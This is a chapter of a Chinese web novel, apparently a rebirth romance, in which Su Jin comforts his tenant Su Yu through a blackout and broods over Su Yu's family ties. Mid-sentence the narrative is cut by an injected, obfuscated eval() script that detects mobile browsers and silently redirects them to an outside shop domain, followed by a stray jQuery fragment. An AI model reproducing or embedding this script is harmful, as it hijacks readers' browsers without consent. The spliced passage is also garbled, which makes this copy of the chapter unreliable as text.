“苏瑜,别怕。”苏瑾温声道。
他抬起手,想拍一拍苏瑜的背,脑海里却突然闪过之前苏瑜被碰到后应激的画面。手在半空停住,指尖微微蜷起,到底还是没落下。
明明刚洗完澡,怀里的人身上却一点暖意都没有。隔着薄薄的睡衣布料,他都能感受到苏瑜身上传来的细细颤栗,活像一只受惊的小动物。
苏瑾微微侧头垂眸,看着怀里缩成一团又不发一言的人,再次哄道:“只是停电,别怕。”
他不是傻子,怕黑的人很多,但不至于因为停电就怕成这样。苏瑜身上,一定还藏着他不知道事情,只是现在,不是追问的时候。
他不敢碰苏瑜,只能由着苏瑜死死抱着自己,然后一遍又一遍的温声哄着。
“没事了。”
“灯一会就亮。”
怀里的人没有反应,依然在颤抖,呼吸急促。
苏瑾顿了顿,又换了句话:“这里很安全。”
话说出口,苏瑜的身体似乎没那么紧绷了。
苏瑾察觉到他的变化,而后声音放得更轻,又试探道:“没有人会过来,你不用怕。”
听到“人”字的时候,苏瑜的身体又是轻轻一颤,而后又慢慢放松。
苏瑾微微蹙眉,看来他猜的没错,苏瑜怕的不止是黑。于是他低下头,耐心道:“这里只有我们,你不用怕。”
不知道过了多久。怀里人凌乱的呼吸终于一点点平缓下来,肩膀也不像刚才抖得那么厉害。
苏瑾又等了片刻,轻轻叫他:“苏瑜?你还好吗?”
话音一落,怀里的人终于有了一点反应。苏瑾只觉得一双柔软的唇瓣擦过自己的颈侧,温热的呼吸随之落在皮肤上,带着一点湿意,弄得他颈侧微微发痒。
苏瑾脖子一僵,他还从来没有和人这样亲密接触过。被蹭过的皮肤开始微微发烫,热意顺着颈侧一路蔓延上涌,连带着耳根都泛起薄红。
黑暗中,苏瑜动了动嘴唇,几次吐息,可声音死死卡在喉间,发不出一点声音。
越是着急,呼吸就越乱。原本已经平静下来的身体,又开始颤抖起来,抱着苏瑾的手也一点点收紧。
苏瑾察觉到不对,又温柔道:“你可以不用回应我。”
他犹豫片刻,慢慢抬手,掌心落在苏瑜背上的那一刻,怀里的人果然条件反射地僵了一下。
苏瑾的动作立刻停住:“别怕,是我。”
僵硬持续了短短几秒。渐渐地,怀里的人重新放松下来。苏瑾才轻轻拍了拍他的背,一下,又一下。
直到苏瑜彻底恢复平静,身体也不像刚才那样紧绷,苏瑾也跟着松了一口气。
只是他现在的姿势实在算不上舒服。
刚刚被对方撞得猝不及防,直接坐在了地上,双腿既伸展不开也不能完全蜷起,维持的时间太久,连腰背都泛起些许酸意。
他想动一动,调整一下姿势,但又怕惊到怀里的人。最后只能小心翼翼地收拢手臂,将人往怀里带了带。
确认苏瑜没有排斥后,苏瑾才将原来别扭的姿势调整过来。
他靠着墙壁坐下,让苏瑜半靠在自己怀里,原本撑着地面的手臂也换了个位置,虚虚护在他的背后。
这个姿势既能让他稳稳托住苏瑜,又不会让怀里的人感到束缚。
虽然苏瑜几乎整个人的重量都压在自己身上,但苏瑾却没觉得有多费力。
苏瑾靠着墙,轻轻拍着苏瑜的背。脑子里只剩下一个念头:怎么这么瘦,苏家人不给饭吃吗?
黑暗中,时间都仿佛失去了概念。
没有灯光,也没有任何声音提示他过去了多久,苏瑾只能数着怀里人的呼吸判断。
十次呼吸为一组,在数了不知道多少组后,怀里的人终于再次有了反应。
苏瑜眨了眨眼,眼前虽然还是一片漆黑,但黑暗中的恐惧渐渐散去,现实的感知慢慢变得真实。
他后知后觉地发现,自己正在被人抱着,好闻的药香萦绕在鼻尖,熟悉的声音也还停留在脑海。
是迟哥。
苏瑜整个人僵住,他终于意识到自己刚刚做了什么。耳根几乎是在一瞬间染上热意,脸颊乃至全身各处都开始发烫,尤其是被触碰到的地方,更像是烧起来一样。
他下意识地想要松手,可手指刚一动,又停住了。
现在松手……是不是有点太突然了?
可这样一直抱着,好像更奇怪。
苏瑜纠结半天,最终小心翼翼地开口:“迟……迟哥。”
终于能说话了。
苏瑾“嗯”了一声,似是故意又似是无意问:“你怎么这么烫?”
苏瑜小声解释:“刚才……可能有点害怕。”
苏瑾心想那可不是“有点害怕”,但嘴上却没说什么,先一步松开了手。苏瑜也退开一些,两个人终于空出一点距离。
苏瑜低着头,根本不敢抬眼。刚才手电筒的光灭时,他脑中一片空白,身体先于意识做出反应,下意识地抱住了眼前的人。
现在清醒过来,意识到自己做了什么后,顿感十分难为情。
以前在梦里,他总是喜欢这样抱着哥哥。可他怎也没想到,今天在面对迟家树的时候,自己竟也会下意识伸手去寻一个可以依靠的怀抱。
他自己也不知道,刚刚究竟是因为太害怕,还是因为迟家树身上,也有某种同样和哥哥一样让他感到安心的东西。
苏瑜越想越觉得不好意思。如果现在有光亮,苏瑾大概可以清楚地看到,苏瑜几乎浑身的皮肤泛着薄薄的红意。
苏瑾动了动脖子,又抬手摸了摸自己的半边肩膀,衣服已经湿了一大片,摸起来凉凉的。
他倒也没太在意,撑着墙壁起身:“先出去吧。”
苏瑜小声回应:“好。”
苏瑾站起来,又转过身问他:“你还能走吗?”
苏瑜试着起身,可刚才一直蹲在墙角,再加上那阵恐惧还没完全过去,现在腿都是软的,起身时晃了一下。
苏瑾眼疾手快地抓住他的手臂,顺势将人扶稳。这次苏瑜倒是没躲开,也没什么太大的应激反应。
苏瑾的唇角微微勾了一下:“慢点。”
苏瑜点头,但又反应过来苏瑾可能看不见,又轻声说了一句:“谢谢迟哥。”
“你手机在哪,先开个灯。”
“在客厅。”
两个人摸黑往外走。期间苏瑾一直抓着苏瑜的胳膊,两个人的距离也因此挨得很近。
好不容易摸到沙发旁,苏瑜终于找到了自己的手机,苏瑾也松开了手。
屏幕亮起,微弱的光线驱散周围的黑暗。苏瑜打开手电筒,有了亮光,他心里那份不安又减弱几分。
苏瑾坐在沙发上,见他终于松了一口气,才问:“缓过来了?”
苏瑜抬头,微微愣住,对方肩膀处的衣服湿了一片,他刚才一直没有发现。
他脱口而出:“对不起。”
苏瑾语气随意:“道什么歉?”
“你的衣服湿了。”
“没事。”
苏瑾看他那副过意不去的样子,又道:“怪我,没早点给你发消息。我也是刚刚看到群里的通知,早上物业就发了,说今晚要停电检修。”
“要是早点告诉你,也不会让你一个人在里面摸黑。”
苏瑾又想起刚才在浴室看到的那一幕,心里是说不出的复杂。他是真没想到,苏瑜会怕成那个样子。
幸好自己今天过来了,否则要真让他自己在黑暗里待两个小时,还不知道会发生什么。
苏瑜抱着手机坐在旁边,手电筒朝上打着,光线从下往上照亮半张脸,他的脸颊依然有些泛红,还残留着几道泪痕。
两个人安静了一会儿,气氛略微有些尴尬。
苏瑜擦了擦眼角,忽然想起什么:“迟哥怎么过来的?”
苏瑾晃了晃手里已经关
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840611|211632||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
机的手机:“看你不回消息、不接电话,敲门也没人应。怕你出什么事,我就拿了备用钥匙过来了。”
苏瑜低头道:“对不起。”
苏瑾看了他一眼:“怎么又道歉?”
“给你添麻烦了。”
苏瑾看着他,眸光微动:“苏瑜。”
苏瑜抬头,和他对上视线。手机的光从下方映上来,将对方的眉眼照得比平时更深。
那双狐狸眼睛半敛,眼尾自然上挑,昏黄的光落进去,平日那些懒散被压下去,平添几分认真。
苏瑜怔怔地看着,竟有些移不开视线。
苏瑾注视着他,语气依然温和:“你想错了。”
苏瑜一愣:“什么?”
“不管是身为邻居还是房东,在这种情况下过来看一眼,这不叫麻烦。你如果真的出了什么事,我才会觉得麻烦。”
苏瑾继续道:“再说了,要道歉的话应该是我道才对。没考虑周全,忘了把你拉进业主群,还擅自做主拿了备用钥匙私闯民宅。”
他顿了顿,认真道:“你不该怪我吗?”
他语气十分自然,苏瑜却听得一愣一愣的:“为什么要怪你,我要谢谢迟哥才对。”
苏瑾看他那表情确实不像开玩笑,有点欲言又止,但最后道:“以后再遇上这种情况,别老想着自己有没有给别人添麻烦,先把自己照顾好,剩下的都不叫事情。”
苏瑜握着手机手微微攥紧,又慢慢松开,低声应:“好。”
苏瑾又盯着他看了一会儿,一时没再说话。
刚看到停电通知的时候,他的确生出过“不管他”的念头,还觉得只是停一会儿电而已,提不提醒都无所谓。
可现在冷静下来,他又觉得自己那想法实在有点不太道德。
不管苏瑜是谁,既然把房子租出去了,自己作为房东,就该尽到该尽的责任。更何况两个人如今还住着对门,真出了什么事,他也不可能当做没看见。
至于那个“私生子”身份……
苏瑾收回目光,垂下眼。退一万讲,就算对方真的是苏家的私生子,又和现在的自己有什么关系?
他现在叫迟家树。
既然老天让他用迟家树的身份重活一世,他就理应和过去划清界限,自然也不该因为这么一层关系,就迁怒一个什么都不知道的人。
苏瑾在心里默默反思自己的行径。刚才那些念头就已经够不体面了,现在又阴差阳错地成了那个把苏瑜从黑暗里带出来的人。
而对方从始至终都被蒙在鼓里,看样子还因为这件事对自己心存感激。
越想,苏瑾越觉得自己有些混账。
他向来觉得自己脾气不错,平时也很少因为什么事情就针对人。可偏偏从遇见苏瑜开始,他的情绪就一次次地被牵着走。
早上的不悦,食堂里的烦躁,还有刚才看他蜷缩在浴室里的心惊。可明明他们认识还没多久。
苏瑾抬手揉了揉眉心。
他从见到苏瑜的第一眼,就对他有种莫名其妙的在意,而这份在意甚至可以追溯到更早之前,从他知道自己的租客姓苏时,就已经开始上心了。
抛开那些乱七八糟的关系不谈,平心而论,苏瑾还是挺愿意和苏瑜相处的,只是现在他暂时还抛不开。
他一方面本能地排斥着对方身上的那层身份,另一方面又控制不住地想要了解这个人。
为什么会怕黑,为什么总是下意识地道歉,又为什么会在被触碰时反应那么大……
这些问题他其实也可以不去想,可他就是忍不住。如果非要找一个理由,那大概是因为苏瑜和梦里的那个人,实在有一点像。
而且,他听得清楚,刚刚在浴室门口,苏瑜的的确确叫了一声“哥哥”。
叫的是谁,苏瑾不得而知。而他也不打算现在就追问到底。
单纯的租客也好,所谓的“私生子”也罢。反正人在这里,一时半会也跑不了。